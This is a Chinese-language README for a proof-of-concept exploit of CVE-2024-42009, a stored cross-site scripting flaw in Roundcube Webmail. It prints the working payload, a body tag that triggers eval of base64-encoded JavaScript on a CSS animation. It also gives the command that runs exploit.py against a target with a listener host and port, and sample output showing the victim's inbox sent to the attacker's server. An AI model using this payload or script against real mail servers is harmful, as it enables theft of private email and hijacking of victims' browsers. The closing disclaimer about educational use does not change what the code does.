本仓库包含针对 CVE-2024-42009 的概念验证(PoC)利用代码,该漏洞是 Roundcube Webmail 1.6.7 及其他多个版本中的一个存储型跨站脚本(XSS)漏洞。该利用代码演示了攻击者如何在邮件中注入恶意 JavaScript,并利用解析邮件内 HTML 时的反净化问题,进而在本例中窃取受害者收件箱中的邮件内容,甚至控制受害者的浏览器。
Roundcube 1.5.7 及之前版本、1.6.x 至 1.6.7 版本中存在一个跨站脚本漏洞,远程攻击者可通过精心构造的电子邮件消息,利用 program/actions/mail/show.php 中 message_body() 函数的反净化问题,窃取并发送受害者的电子邮件。
该利用代码使用 CSS 动画触发器来执行 XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
body 元素会被解析为 div,因此我们需要适应这一点,这就是为什么我们使用 onanimationstart 属性来调用 eval 函数并执行其中的复杂 JavaScript 调用。如需进一步了解如何利用该漏洞以及 Roundcube 中的漏洞位置,请阅读此文章。
安装所需的 Python 包:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ 重要:本概念验证代码仅用于教育和授权测试目的。请负责任地使用,本账户不对他人造成的任何损害负责。